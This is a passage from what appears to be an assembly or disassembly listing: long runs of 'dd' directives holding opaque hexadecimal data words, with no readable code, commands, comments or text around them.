63FF584Dh, 5E92AA03h, 2BED84h, 10F94E70h dd 0C4052D2Ch, 47575300h, 7B32FAFBh, 0EA3E009Eh, 7A364644h dd 3B00DF1Bh, 24B674C5h, 0B1BD99h, 6619EFB0h, 2A82312Dh dd 0F1682Fh, 0A3707510h, 53CF037h, 5F4F045Dh, 24EE80D2h dd 0B000E9Dh dd 0D4C55023h, 0A07CFADh, 0E577DF86h, 559A00B8h, 4C965FC7h dd 65100C0Fh, 20FA407Eh, 163D3Ch, 0A9CF8EF2h, 0FD98DB4Dh dd 7C23253Fh, 9AFC4Ch, 322C6690h, 0F2940FB6h, 44D5006Ch dd 29611864h, 6F05B731h, 500E8F25h, 63629C03h, 43E0E837h dd 9590072h, 2E6632E6h, 0FF09831Ah, 0F7E523h, 270CF99Ch dd 82120F43h, 7FAC22FCh, 0B02C318h, 0E8205BE5h, 0A63C80F2h dd 3A15D478h, 3114FE7Ch, 0D51FB806h, 5B9A89F9h, 0C657A480h dd 603AB1CAh, 0CC8201A9h, 7F29E3Ch, 0A78058B0h, 1924B170h dd 0BF3CC701h, 7B808FD9h, 1F0A07F8h, 4FD35D1h, 0B7005438h dd 0B6851D34h, 280F09FEh, 0C04B63ACh, 0A4643DB5h, 7BFB9071h dd 4D99B899h, 2424C886h, 11253958h, 41951C00h, 76626BB7h dd 86D00411h, 9112684h, 0A81142EBh, 6EB8E900h, 1F3B70E4h dd 0FC180217h, 0DCE94B13h, 0ECD580C8h, 2EEF050Bh, 0AA7B4F00h dd 0AF603682h, 0E159029Fh, 6C756B29h, 44EC7048h, 0D4EAF21Ch dd 0EDBB1030h, 84AE0E8Ch, 43BE05E4h, 0DE429598h, 0D441DDE2h dd 0CC0AD993h, 0B12CD3CFh, 3500C07Ch, 0DD3928E1h, 827B0B7Fh dd 0AE802AB2h, 54058612h, 0E1766D27h, 8C389A10h, 40DAD400h dd 53FC7FA1h, 0B03CF0F2h, 1EA689FEh, 455C8014h, 3039F7Ch dd 0E554AEC4h, 47F8E94Dh, 0E0F53D57h, 2005E3Ah, 0E331B64Ch dd 1845475h, 7632C8ACh, 8017536Ah, 85A9F1D0h, 0BCAEE2h dd 71262705h, 68095E04h, 0C39D4407h, 0A03E89ADh, 11A23A90h dd 0D2EB2EF0h, 585004Bh, 1FD18F06h, 26BE6E00h, 32E86B18h dd 7FBF00D6h, 3130343Ch, 0AA008161h, 0CF6E82D3h, 7A050Ch dd 0FE98883Bh, 4BFA70BEh, 0B4DC1B00h, 0EBD0EA5Eh, 0C5930009h dd 78814E0h, 0C2075BF1h, 0EE6EC73Ch, 0F32380DEh, 0E1C3DFh dd 85CBFA94h, 0E2D3B778h, 72FE321Eh, 1C4B5740h, 30C11DEh dd 8E194168h, 6AC035FBh, 67E6BDC4h, 49399700h, 7E105613h dd 0A59C1F4Dh, 58ACDEBEh, 0A20C69D2h, 0E7408828h, 0DD67C300h dd 0E680F482h, 0B273387Fh, 0E0DFFF98h, 2800B4FAh, 0B7BD9F0Ah dd 28EEABEh, 0C4988F4Ch, 40600393h, 970038A4h, 0DE040ECBh dd 1D738AD1h, 4012E2E0h, 0AC76F434h, 5E007CB5h, 7A6D49C9h dd 78B3A24h, 0DD748333h, 797040C5h, 87009FC7h, 2DFFF875h dd 24B61E57h, 1A4BEAh, 0B0F92F66h, 0D00C2527h, 7971764Ch dd 10300EEh, 0EFA0A17Dh, 4200B1DEh, 0F4AB6A8Ah, 5095245h dd 0E8D1E5A9h, 197EC10Ah, 9B1880F7h, 2A49173Fh, 0A1321E73h dd 3CE385A3h, 57C0D758h, 0C75B30E4h, 460FE226h, 0E061CB38h dd 621910A0h, 6A90073Bh, 0F0072343h, 37393F57h, 861C3400h dd 0B9740342h, 0CC7B0067h, 59715A7Ch, 0A13B9897h, 8CCF0091h dd 22209E1h, 6DCB002Ch, 47744D52h, 7801202Eh, 0FE725085h dd 3BE81D01h, 0B29EE92h, 2C25E582h, 12117040h, 81A3BF00h dd 99A1A2FEh, 9B5B24DCh, 0CE9A007Ah, 1C0551A7h, 0C24C1026h dd 2131EF00h, 17294A6h, 0DCC36B3Bh, 0E396B208h, 0A2065000h dd 17402409h, 0A6B1C39h, 0EF1A802Ch, 939A2A8Dh, 0F1DA4200h dd 97958FD9h, 65B04Eh, 57ED4928h, 0E11066AFh, 3CF33200h dd 9415F430h, 97AA0E7Ah, 0F7CB8DA9h, 6165803h, 82D87CD0h dd 0B1007E7Eh, 8B2F5AF6h, 3BE27B0Ah, 1200A1ACh, 3AD2524Ch dd 8C040A5h, 0FB506B91h, 35D30EFEh, 3940FA69h, 4CE4B415h dd 11703C00h, 8D9831D5h, 3A3702F9h, 0F1FDC1Ah, 0E44A4C58h dd 799984C0h, 301E015Ah, 4C76A536h, 5C097B6Ah, 0FA5868F4h dd 0AB902E66h, 0F6CF00BCh, 5E27BB1Bh, 9E64F001h, 32F876A4h dd 29350E0h, 4D8AE88Ch, 10D00460h, 0F1535F09h, 4685853Dh dd 0FF823080h, 83CA012Fh, 0CF5B4A75h, 0E4EF806h, 0C474772Eh dd 7680DA1Dh, 75CC4FD6h, 7EB20002h, 49883032h, 900C929h dd 3160D910h, 13AE8292h, 6FE3C94h, 784450D4h, 520F3475h dd 2089AF2Eh, 8FF8D6D4h, 74790007h, 0D58C3DA1h, 21009B01h dd 0F939B69Eh, 907A8869h, 9628A176h, 409C1F6Ah, 0CB8AFE1Ah dd 0D71749ADh, 5C80F994h, 7984F812h, 286202C8h, 900BB23Eh dd 7814A8D4h, 2D7D0080h, 216BB33Dh, 5C022C83h, 7F6605FCh dd 408E33h, 0D2F3660h, 1BF75Fh, 0D79B31EEh, 0C8FD5255h dd 3ED8A804h, 4082FB07h, 3C6C60A7h, 0B9170073h, 0BEF84C7h dd 0D062524h, 0F8DA4367h, 7C580028h, 0FC0ECD6Ch, 21E250C5h dd 821D4903h, 0F960BF3Dh, 97CCB930h, 40740042h, 659B87AFh dd 6800FAA3h, 72C52CF9h, 2C01DDEEh, 0B743247h, 6F8BF7B4h dd 4A50F458h, 88EA56BCh, 0ACA234B0h, 79FF8C60h, 0C701A3FAh dd 15713ABBh, 117072DCh, 188B016h, 1D215B75h, 30E257A4h dd 0A7066F34h, 20B92701h, 0F8A00049h, 776816B6h, 0FB4E3FD6h dd 5050EBF8h, 0EC1A01A5h, 4405210Dh, 0F1012058h, 300F949Ah dd 0E1291574h, 2A8AE00Ch, 0E300FC38h, 679D593Bh, 814840C1h dd 3F6048B8h, 571B2CE6h, 0F1CFA302h, 406CDEBAh, 0BFB07353h dd 71BB701h, 5C4EEFB8h, 2EDE7CF8h, 1238F4A8h, 8580512h dd 1B0A9CBh, 14D5D1B7h, 0CCC8690Dh, 648200E6h, 18F64C6Ah dd 412426BCh, 4A80ACF2h, 1FF7CCD2h, 233902BDh, 3CFE6703h dd 307CDCE1h, 3BEF2CD6h, 0A1A0E809h, 0EAEB3798h, 0B0888C74h dd 0E5809FBh, 2C27D5CCh, 131F4C9h, 574BC1F8h, 1288840h dd 8534076Dh, 30E632A4h, 35617FE4h, 8CAE70Eh, 0C003CA4Bh dd 0C0884C2Ah, 92F27B1Bh, 0D05A08FEh, 0DE44D4C0h, 35970B06h dd 0D470B3CAh, 340F0476h, 982CF674h, 588BA9B1h, 0C400E86Fh dd 8D190920h, 654A9FABh, 6630D802h, 3B805A2Eh, 0B40784ACh dd 40E029FAh, 1462F25Ah, 0AED7E100h, 4CB54910h, 33710BEDh dd 0EC80F052h, 0C0CC7AD6h, 9405DE00h, 0A6192D38h, 0B7ED0F84h dd 0DA2381BBh, 0A980B27Eh, 0EF0083A8h, 45521EB6h, 12F1BA95h dd 80547C2Bh, 663DC264h, 80A38F33h, 2073E941h, 0F03C076Eh dd 0DC522059h, 0D027446Eh, 0CB4497Dh, 1715030h, 139339A7h dd 2ECC5227h, 404CF850h, 0C001894h, 45843C2Ah, 27A7D72Bh dd 0E0917Dh, 0C24C6828h, 7860000Ch, 0F9665E8Dh, 83F10345h dd 13412709h, 0B159A7F0h, 0CB88B9C0h, 14FA6E5h, 922EFECFh dd 64294664h, 78A0EC88h, 7B003349h, 617D412h, 2C9D356Eh dd 1544A7D3h, 130DC48Bh, 5C8D103h, 8E64B054h, 2D0DE901h dd 554944F0h, 90DA9457h, 8E077417h, 0A450ACB7h, 9C756ECh dd 1096CAC5h, 97B92020h, 1300A963h, 346280D0h, 30A671E8h dd 1A68923Ah, 772D70Eh, 0B0AEEA30h, 248E084h, 9AF850C4h dd 0B4510881h, 5F1CF517h, 0B4C78980h, 77AED068h, 1C109E2h dd 98007E18h, 0FA2EBA9Ah, 3BDF7B02h, 2098A941h, 2BF561CEh dd 80E6E725h, 7F508474h, 6AC30A3h, 0FCEE2210h, 4CDC4500h dd 9657275Eh, 0B5F486h, 0E6D0D804h, 0D9021CB9h, 8937A03Ah dd 8052852Ah, 35190CF6h, 90425413h, 7490B5DFh, 760EE64Eh dd 1992060h, 30B61618h, 49679050h, 4D0A0228h, 0B7CE9264h dd 55024058h, 5040B10Dh, 991DC001h, 54340157h, 76BA641Ah dd 6C4309Fh, 2E0CCE58h, 9C9258A6h, 0AD1010A2h, 0F5C1130Bh dd 0BCA5110Eh, 1D792487h, 0DFBE6A30h, 0B3B813h, 47FD0729h dd 0BFAE34EBh, 5A6CA09Fh, 0FB1F1B8h, 1902237Ch, 0AF80F3CFh dd 4B57CAFDh, 3B962903h, 0D08AF027h, 185F12h, 713A486h dd 1C3678CFh, 49EBF200h dd 0D070E98Dh, 31796Dh, 1DAE2E0Bh, 0FC3734Dh, 68EA9304h dd 64C25215h, 0CA0588Eh, 0CA6667BBh, 0D07004E8h, 2906C6E6h dd 0A9D6EFF4h, 21DE0072h, 0BD7A7E7Dh, 0D7008540h, 5BE20EA2h dd 0F8BFDBC7h, 1AAD01FDh, 628CA41h, 8094406Ah, 0DE0224B0h dd 0C920EE9h, 0FD85A37h, 0EAD327B7h, 380A9040h, 4E01541Ah dd 180FCC2Ah, 6A2644h, 49559268h, 6D04CF2Bh, 459475A9h dd 4B162080h, 0A57100BBh, 95E0AB2Eh, 2DF2445Ch, 6B0F0E00h dd 8AA9A08Fh, 4ECF0E6Eh, 0ADA0CD29h, 4608DBE4h, 0B383A00h dd 0DA401F26h, 87251EC7h, 88EEFEh, 1158DE82h, 0F10CB372h dd 183BD2EBh, 680B0776h, 0C087C294h, 280E2615h, 11098100h dd 235C04D7h, 0DD4B0E13h, 1CA0F782h, 0DCC2214h, 924E5492h dd 7A15C0D0h, 9F9700A6h, 8751CD26h, 0DF2CC785h, 0A309C4EBh dd 0EABCE0FFh, 755D0596h, 806B5E3Fh, 0FA62B2A0h, 0E639D100h dd 0D7B6682Eh, 57DCA073h, 42F101BFh, 0D1534FC3h, 386FF0AEh dd 0D02874B8h, 0BDE2E750h, 1D05ED70h, 0F8880879h, 0FA0C8490h dd 3BFF0066h, 284B11E7h, 3305755Ch, 8DF6970Bh, 0A0747C80h dd 91852404h, 0D9E707B4h, 0C0F5843Dh, 3A96A668h, 0F48E1400h dd 0EB88BD12h, 73473F0Fh, 0B170F7Ah, 13209C23h, 0D6D986E4h dd 0F841B231h, 0AC64431Bh, 7094262Ch, 96604FD0h, 1CE4900Fh dd 0A8846301h, 53829E31h, 65FC007Eh, 3F57F994h, 0A3246C00h dd 0AB791713h, 264AF0CAh, 1F5029A6h, 4DD1809Dh, 0B6E75A83h dd 761CE503h, 0E01DA91Eh, 828ABh, 0AECA43EAh, 0F1F68254h dd 250589B8h, 219A3A11h, 9E6BC481h, 4E1AA512h, 229500BCh dd 0D2B53E4Fh, 577EC8F6h, 0F741900Eh, 2E442014h, 929E5A9h dd 7A9501D0h, 3C749883h, 944D37A8h, 0EE991F00h, 6825C197h dd 4C69096Fh, 0DCB88A12h, 0F5121C27h, 0C30FCE45h, 0F115001Fh dd 0F61B19DDh, 0DC91C03Ch, 0BB52A294h, 0C7607759h, 42C083E1h dd 9A5B62B6h, 0A6D60264h, 0B2B8EC85h, 7CF0FEE2h, 0CA60F016h dd 0FA509000h, 2CD9B1E0h, 8BBC1FADh, 5C942765h, 8815FB98h dd 0E87716h, 2528C6F7h, 734217Ah, 43B0EEFAh, 895ED517h dd 2D00636Ch, 0A2EC48F5h, 0F880600Ch, 312D011Dh, 0C4927D12h dd 5C8B4603h, 0C0C2F28Ch, 203B2FCh, 31570726h, 50E2FB50h dd 89C35E43h, 0DE7AAEC8h, 78C03F5Fh, 79E11DBDh, 6BC705BEh dd 4B0D07C8h, 60933180h, 9FB95001h, 0CF12C87Fh, 227FBD4h dd 49E00A25h, 0AF41E61Ah, 21509716h, 94C84480h, 1030ED0Dh dd 0A23A01EFh, 0E5F9AE5Fh, 7389E9CBh, 0C2D205F4h, 9280FC36h dd 0B1526Bh, 148B884Ch, 0E88FA783h, 7BAFB316h, 0ED81CC00h dd 16C35B4h, 910EB808h, 504C49E5h, 0C340F39Ch, 8C954Dh dd 588FDAFAh, 48D5E3D2h, 0E170C9Dh, 0E00400D4h, 0A1DBF725h dd 0A8E63F03h, 7A618E0Ch, 3D7D09C0h, 0D8009D29h, 0CA7071A1h dd 2EC8B2Eh, 192ACE00h, 58F91A80h, 75CF741Eh, 9AC0092h dd 5940012Dh, 0C4CC0500h, 0D9710834h, 0B3A701C1h, 0A3397B6Ah dd 8C281Ah, 5CB0C3BEh, 0EB11BAh, 0F5F713E0h, 228B7190h dd 0E759D900h, 0DEEA6A3Dh, 851F00FCh, 7FBC520Eh, 1E39CEE4h dd 89350A9Ch, 0A3808048h, 0C13E0F10h, 0B93A079Ah, 0B595F1BCh dd 5F04DCEFh, 0C203C6B8h, 0DB929ED2h, 3AE7A021h, 0DE043AA7h dd 94B21080h, 0F286C195h, 90619EEh, 58A3F925h, 0ED7E2E68h dd 0E3010488h, 868C9022h, 5E09642Ah, 80690C4Ch, 566CA0BCh dd 18840051h, 0DD58BD82h, 1009950Ah, 0E0D209E5h, 19D71C8h dd 57A0969Eh, 3B4A2BF9h, 4C5129A0h, 0D324ECFBh, 0EF3300F0h dd 5C359AD9h, 0B549661Fh, 7309FABFh, 0D00760C8h, 4D5438B4h dd 5A8341Ch, 0BC168B2Eh, 0E6FA015Ch, 243D59AFh, 945A160h dd 2731E94Ch, 0A14C4A0h, 0D30003DBh, 0EE6EC63Fh, 7C313E8h dd 9CD5A970h, 0DDBCA134h, 51D880DFh, 0FC2F6BBDh, 1AA20287h dd 129240FFh, 0ACC0005Fh, 2CAD04Ch, 38BE22F5h, 0A45CF143h dd 0CFD3923Ah, 0E4CBCD0h, 65A0940h, 14E0FBF8h, 0EC078895h dd 75D418Eh, 594599B0h, 0EC60F1B8h, 9757253Ah, 0C287FC53h dd 70E04B78h, 0B28464h, 37A09D53h, 677BE135h, 0AA00B671h dd 0C88928F1h, 1CD97E2h, 0B03BFBF7h, 70154CE4h, 504A9D1Bh dd 5499D809h, 0ECB24240h, 55490D00h, 0F08095B4h, 8DD29E36h dd 958128B9h, 0D564BEDAh, 801EE09Dh, 0A5FB7D0Dh, 580BE687h dd 4896A120h, 0F819970h, 0DA3FCBDFh, 861FFEA2h, 0A2447060h dd 4A95BB78h, 0DFB8C828h, 0F5090273h, 129029B7h, 6830AC60h dd 2EEC63Eh, 0E7E44226h, 98005737h, 40EF032Dh, 504EE004h dd 2CB096B6h, 330401FDh, 8E671EAFh, 0D3F7600Eh, 6D091200h dd 0EBCC9C34h, 92740Ah, 608306C7h, 2AF4F122h, 0F8154E28h dd 0A912C37Dh, 330C08FBh, 0AF880Ch, 499DE4F8h, 26470527h dd 1B0809Dh, 752B4C6h, 0BCE34BDBh, 8B6D6068h, 0F5598115h dd 0C0CC88A0h, 3997EFBEh, 0E0297100h, 72822684h, 0C7910217h dd 68830745h, 236A860h, 3A9CD058h, 54B27CD2h, 9E3A4E04h dd 7D0180FFh, 391BA1DDh, 75C40044h, 0A01347E9h, 0D2BA3FECh dd 3C86A85h, 4DFCF94Eh, 6D0E078h, 0DA7F169Ah, 0B843093Eh dd 0E286C880h, 572461B1h, 0B413F46Eh, 16C23C82h, 0A850C894h dd 0DDE35C87h, 9EEA5609h, 510C30C4h, 31F48DD3h, 6ACC1694h dd 0ED44070Ah, 7704B0B3h, 4416EB1Bh, 5C02CDD4h, 0E47BD2D5h dd 23F824ECh, 34BE9368h, 9C34B2FCh, 877AF8C9h, 4E51B17Dh dd 0FC337E88h, 47C93C0Ch, 4B867D49h, 0CE84A013h, 55516600h dd 0BD2F7736h, 0E2281EF8h, 18CACE6h, 0CAAD1FB7h, 0FA6881FEh dd 4E893018h, 6EA8802Ah, 1702568Ah, 0A577A743h, 17BCEC13h dd 0B43EDFE3h, 582F6888h, 0A46C1Ah, 0C1BEFBC4h, 0C722E2F9h dd 0DF41F709h, 1158C12Bh, 80553E0Eh, 4C7DD938h, 2E70B4BCh dd 0E5C754Ah, 77EEF890h, 8FA1CDC0h, 0B91685ECh, 6C40649Dh dd 0D9FD3606h, 102D6222h, 0B860B6EFh, 9D307CAEh, 0FD116055h dd 1FF33F82h, 77E0B88Eh, 4A69D6EFh, 0FC233025h, 91168008h dd 0F6FBD440h, 4C50000Dh, 8CB6CA28h, 0DD1F6A07h, 0E2D745B4h dd 62AB2C08h, 0C8A0EA41h, 0C5257803h, 30488E48h, 0F5BAF03Ch dd 0E0009791h, 0D65EDD31h, 0C0E2600Bh, 0AC98C0C8h, 0CE4A00A9h dd 9821BFFDh, 3100EE0Dh, 0AA67038h, 1C297D6h, 16232226h dd 80DF4660h, 617F5F39h, 184ADCCAh, 19E41D39h, 80B8B686h dd 79E05CF8h, 1B500C60h, 0FDDF57h, 3FD6CBB1h, 6C171159h dd 0C32D3D00h, 4AF9E138h, 51DA2E74h, 0CC163850h, 0D4BC00D7h dd 0AA761E35h, 731BB700h, 1DF956AFh, 549C00ACh, 0DE0DF410h dd 6F0FB191h, 2582B7EAh, 34C07C12h, 3128CAh, 0B52A8C89h dd 0D6F763B0h, 4605ECBCh, 58A8A3DAh, 0D8C85D00h, 0C23DD1A9h dd 0D05FB300h, 47DBDE50h, 6619265Bh, 75920EB1h, 21AAD20h dd 0A24BE98Bh, 3CE4F0h, 857A40DCh, 0D3A82EB2h, 79B010Eh dd 7F43A33Eh, 0D62CD086h, 0BE4BDCh, 446B68D4h, 501C220h dd 0B13E7C18h, 60EE97EDh, 482829ECh, 0CA0B203Ah, 700E67A7h dd 0F70B2A20h, 0D224E8B8h, 0B3808433h, 0D8096D32h, 66B03AF8h dd 1121A000h, 0D0EABAF1h, 0B5293164h, 0DA2048C0h, 1F73FE1Dh dd 40C69202h, 0D0068715h, 8828F291h, 0A700F8E8h, 2F0420EEh dd 0A0326CABh, 0F725E4h, 0B2ECBCEBh, 6A909F0Fh, 49C4CB12h dd 9870644Bh, 4B17D1FCh dd 46C908Ch, 10C50911h, 24A976BAh, 17450200h, 0D6869697h dd 3B6D1400h, 0F620F82Fh, 0FCEB9538h, 1C401C94h, 0EAA232B7h dd 692D01E1h, 0AD64290h, 0CD84D01Eh, 6402C8B0h, 8C1C853Ch dd 18A7559Eh, 1015F77Dh, 0B8480EDEh, 65B54C0Bh, 0D4F40005h dd 521A92h, 94DD5161h, 0E80C2FAEh, 0BA8CBE00h, 7383215Bh dd 0BFB300CFh, 0CBC1BB17h, 0C001394Eh, 0DDF94524h, 0D89216E3h dd 0F560818Bh, 0A67800EFh, 0C715CA7h, 598F4700h, 86DCE84Dh dd 6B3A5C01h, 0E4FDE3A1h, 0B8601878h, 35BED87Ah, 753AFC00h dd 0D0DA1704h, 9BF50294h, 0DB77F1E8h, 0FD01A4D6h, 0B11C9E59h dd 70AC070h, 0FEAEF9D9h, 0F097800Fh, 2975E2B4h, 2D84100h dd 564A748Dh, 8AC20071h, 0F71E42FEh, 700059BFh, 82435F95h dd 3127399h, 0F4D6EC20h, 10139615h, 0CF075A9h, 4009FD2h dd 0E27DA585h, 5A7FCC00h, 22742E9Dh, 7400BF63h, 5FAC05Ch dd 28AE3200h, 871B8153h, 3DC3EABEh, 0AC0006FFh, 303E5C56h dd 0E84F166Ah, 85428880h, 0BEFC0798h, 0B2176D31h, 83C27589h dd 274A80A1h, 0F073E7h, 81039705h, 0EC0455CEh, 83241CACh dd 766F4BABh, 0CDD8A800h, 0B00031EBh, 0DC53B7C1h, 97A54h dd 0BA9AFEA0h, 79421FBBh, 41CBD409h, 20D4A6h, 7EFAE83Ch dd 540048C7h, 273B9128h, 0EB22C5h, 50CA7DFFh, 0C29E2A56h dd 946E0800h, 6286D190h, 0BAFEh, 8B6F0B4Ah, 6977B591h dd 7CA3502Eh, 0A51DF005h, 0C14E70E3h, 0E4ABFB94h, 12F20753h dd 0C9044E10h, 5BCE400h, 0F61C0E9Ch, 0A0108F00h, 9341F81Ah dd 0CE604A6Ah, 1A38F200h, 4D749464h, 0E200B0E0h, 1D117F32h dd 0D36FFBBFh, 0E570B0A8h, 0D6BEB750h, 6DA8E260h, 881E043Eh dd 0CC0048A8h, 0BA26F1F6h, 9F55F24h, 4FAA9367h, 0C9C15CF0h dd 664C0250h, 0AE7E4CCh, 915E5C30h, 3610F58h, 5D418560h dd 0A8C23BBCh, 0D493533Eh, 0DAA80A4h, 58F31B17h, 357C0C00h dd 4125F6F7h, 0F0802510h, 143FE8D0h, 0A6671765h, 95A5F0C0h dd 0FAA202A3h, 4F5F9C9Ah, 24D8C140h, 3160C014h, 4138B8h dd 225CB4C1h, 0B06783D7h, 11E000F9h, 875DFB85h, 4600581Eh dd 52087362h, 0E20CD20Ah, 68492850h, 0A7CB0F94h, 0BF00D53Eh dd 9980418Dh, 7273C501h, 6F6CCAAAh, 1EC25F0h, 51E81424h dd 2001F8F9h, 0F1009045h, 0B8CEFF97h, 0C793DA4h, 741CA53Bh dd 0F44CBC58h, 73E2007Fh, 324B6D0h, 8D370033h, 6AC12572h dd 4D00743Ah, 18A3CDDDh, 19E9A80h, 0FCB2AEE7h, 0DBCF9DBBh dd 0CFE6DBh, 6E4E2A8Fh, 3D092600h, 75467941h, 7A5624D7h dd 78AC0090h, 0D8770E6Ah, 1B8C402h, 5055978Bh, 7A0D0130h dd 0EBAC620h, 49EFC32h, 360941E0h, 5CEF6ED2h, 7B9F8004h dd 0D9872501h, 990C049h, 0D415AD40h, 0B8A040A4h, 0F17B109h dd 0EC4E28E9h, 2DFEA088h, 9A1F48Fh, 56CAED41h, 9C3ED400h dd 2517BB85h, 34001901h, 58A2D199h, 0FE963F9Bh, 5F430D06h dd 52000AB2h, 0A78DD617h, 181D9C87h, 0E0386E35h, 44953C65h dd 80665AD0h, 3F7EDACCh, 0ED2E55Ch, 0EBFD1B9Eh, 0EEF8698h dd 0B31F0E20h, 133CCD9Bh, 85F80012h, 1D9F364h, 351C3112h dd 4E94ECh, 0CD4E872Ch, 500579E4h, 0FE862452h, 235A7490h dd 7247EEEAh, 6C7548F7h, 74081E02h, 8AE0D564h, 102769C0h dd 0BCE00040h, 0B81F81BEh, 275C0B1Fh, 3A00955Bh, 570D7793h dd 7B6CE900h, 53C92DAAh, 9E76034Fh, 6F8908ACh, 0E9301826h dd 2A03EF00h, 9AE3B7h, 827C4027h, 2EF864A7h, 4DDC9250h dd 0AC7DA900h, 9B5FC61Ah, 54D10022h, 0CBE4FFBAh, 442D1472h dd 4314C9F5h, 6388C0C6h, 0D4575853h, 0B0D4B517h, 0BE055620h dd 178EA2F2h, 904CC800h, 0A66A5C2Ah, 59DB00D4h, 42F1ED26h dd 8601BCEAh, 7145D321h, 18E0AA88h, 0ECB97279h, 0B75F00FBh dd 57DA1E05h, 4812A9C7h, 40BC383Ah, 1CF68600h, 0EE0A2928h dd 4AD47A48h, 11E9C4C0h, 0BCA0B72Fh, 3892A4F8h, 3BC22E00h dd 0C17884E0h, 48505C48h, 5B004C5Ch, 2C12F311h, 963DB192h dd 0E029008Fh, 831C8902h, 0AA750201h, 3544F2CEh, 799D7AC0h dd 33B68000h, 0AEE29784h, 0B30D0040h, 465CF403h, 58B6CEC2h dd 2112AC80h, 14A802Ch, 8DA3F1BFh, 0C0C24E14h, 504CFF66h dd 467F0044h, 0EA0DE833h, 0F335021Bh, 808111BBh, 590138E0h dd 4B5E2A0Ch, 0B0A11087h, 40A90074h, 0A3C8395Dh, 0A6000D92h dd 42E8F796h, 25FFA022h, 7852F356h, 0C0B02D58h, 6E3A9301h dd 0B0944E2Ch, 0C327F00Ch, 7BDC00B6h, 7EEBE3Fh, 35F35D96h dd 0E4CC5154h, 9AFC5002h, 0D4F025B9h, 5F031C03h, 0F889C51Dh dd 907DF998h, 0A9E604h, 31A72507h, 553FC94Fh, 98230D00h dd 21D82406h, 57F307EFh, 90CC87F4h, 0F6EA8807h, 70EC409Dh dd 0AE341DA0h, 1CE2C0D9h, 4B4FCD27h, 37A77200h, 0E07CDAA3h dd 0EA280F1Ah, 0DC04BE64h, 36A4811Fh, 4416FC9h, 7DDFDBB9h dd 3464B1D3h, 62860h, 0A371AB7Bh, 7CD8A135h, 8CE0C90Fh dd 0CB4B9E5Bh, 54FA7Dh, 81ED8797h, 82A0C1EFh, 58FF7E00h dd 14D202BCh, 0F0C9874h, 0F1B58454h, 0BB10750Ch, 0AC01F898h dd 0C1E9FC8h, 51F03F68h, 0CD9A3DDDh, 86920F01h, 854074D6h dd 493606E8h, 7C2E8881h, 0AA004C33h, 8EB19699h, 17300B22h dd 66E1116Ah, 6B331861h, 4F9848BAh, 0F9B25C88h, 73AE8DF8h dd 0C26915AFh, 5527DC62h, 0CDE93C00h, 0A54F5F6Bh, 0B48E0400h dd 3382A7Ch, 0DEA640EEh, 8C68DFEh, 907EB033h, 3B5890A1h dd 0D05001DFh, 0E3058DC6h, 0EAC26041h, 97054490h, 0B6A544DAh dd 7F57BC00h, 2649EE30h, 855020h, 7B557786h, 8009C74Ah dd 50F95C21h, 6F2A24C8h, 0ADB1019Eh, 6AF8D14Fh, 95625C47h dd 0FA858C61h, 5C471BC0h, 3200C20Eh, 0A6065433h, 0D60487ADh dd 180A9C27h, 0C9E5F881h, 6DB469FEh, 995C883Bh, 8CAACB02h dd 0C831D074h, 127B334h, 3A3E5646h, 70F7CCF6h, 7E050E79h dd 0F15028FAh, 368F8400h, 0FC4F40DCh, 84AC2CB9h, 91890088h dd 665C8A62h, 98A9CC02h, 60574055h, 7FF115h, 0C4620321h dd 881F4E22h, 157C029Dh, 8F70D994h, 7D4054CEh, 79CB69A5h dd 23293D00h, 673637F5h, 68A8020Fh, 0C862AE42h, 0DD8A84C0h dd 4C01C5Bh, 22C07FEh, 714F1FB0h, 0C4C0BAC5h, 0F40081C0h dd 4C7DE48Eh, 0F1BDF7h, 0D4DA8B25h, 0DC14D665h, 769CF07h dd 281036FFh, 3E03476Ch, 670030C0h, 5496D4F5h, 11608BB2h dd 250B2B40h, 1D710038h, 0B9DFC524h, 47015148h, 3F5C5DA2h dd 0C07C04BBh, 1D46E702h, 887EF136h, 774BD101h, 95E8A68Eh dd 546649B7h, 0B4788100h, 9A33A171h, 49ECC897h, 5F701DECh dd 0FCCD40A6h, 60A93705h, 1293613Bh, 0F80ADD84h, 9640C82Fh dd 1CE821BDh, 0BF730B5h, 60A0A087h, 208FD65h, 0C1BC429Dh dd 0F9CC5AC4h, 8F80C67Bh, 0BD221049h, 0A871403Fh, 0F0513744h dd 22AA275Bh, 904EA4F0h, 288014B1h, 0FF61C266h, 656F0209h dd 5D0C1F31h, 7110Eh, 5ECDF7B5h, 5CC14A9Ah, 0E1BAE60Ch dd 0B858F9h, 0C7AA185h, 1A837256h, 0C0CAF100h, 360D3833h dd 278700B3h, 73BED17Eh, 3000218h, 0E61ABB66h, 0D325FBh dd 0C6BCF471h, 0A7E2B522h, 4AF82A00h, 20CB048Fh, 375F006Dh dd 9413CCAFh, 2200BA60h, 2D79EB9Ch, 3373ECh, 38547B4Ch dd 75E32B6Fh, 0B7CF0200h, 866A4ACBh, 0D35D01E0h, 42998CEh dd 480AD884h, 4777EF07h dd 3FF074CFh, 0F60D6589h, 299A00FCh, 0DC4B3446h, 2009522h dd 0DFCD38E1h, 4B06D88h, 8D24739Ah, 74B977h, 1B282976h dd 263181h, 0D209B217h, 0E559BCB6h, 870C8973h, 308A56A2h dd 0C9522571h, 1EC3C84Bh, 96FDF1D0h, 6874C8B5h, 0BEC70182h dd 3266156Bh, 2104CC47h, 0E45E8400h, 0C40AA3A0h, 126E0278h dd 5657162h, 0EE60D4A0h, 0EC00648Eh, 9555379h, 1F2D8DE4h dd 340862h, 6D5442C4h, 80E78C38h, 9C192181h, 8E753Eh, 5425FD1Ah dd 0F81C76B9h, 60DCA10Ch, 94789Bh, 52CF59F4h, 8A8C8783h dd 713C2490h, 0A5BD0379h, 80D96528h, 1D600DFFh, 3891776h dd 6BF19DE4h, 1587BEA0h, 6F120C0Fh, 418680FBh, 15819A97h dd 886883EAh, 0C273306h, 0FB07D124h, 0DF78E1Eh, 0E7CEC087h dd 794663BDh, 2A1A0038h, 1222B9F5h, 0C0B03C2Dh, 0FBFE8600h dd 0BCA85621h, 905901B4h, 7898D489h, 62B0E0C6h, 375D0400h dd 685B3CBDh, 0E8C877BBh, 298260EEh, 0E06341F8h, 0A1552D17h dd 9118A418h, 0D121C08Dh, 1907C7CDh, 0A0D9DC39h, 880009Eh dd 6A8EDDEh, 2307FEC4h, 0F16856BFh, 19439DCh, 0AFF9AA8Fh dd 0C85181ECh, 0B70CBD55h, 18385CA4h, 13EB0167h, 7383346Ah dd 4E388087h, 0D01EAABh, 80D118FEh, 890C196Ch, 0AFA4A200h dd 13A7CF4Eh, 0EDA100F5h, 3ACD2521h, 0E560AE28h, 44E28778h dd 5BC41E26h, 0A3628035h, 238CC149h, 45538401h, 95916167h dd 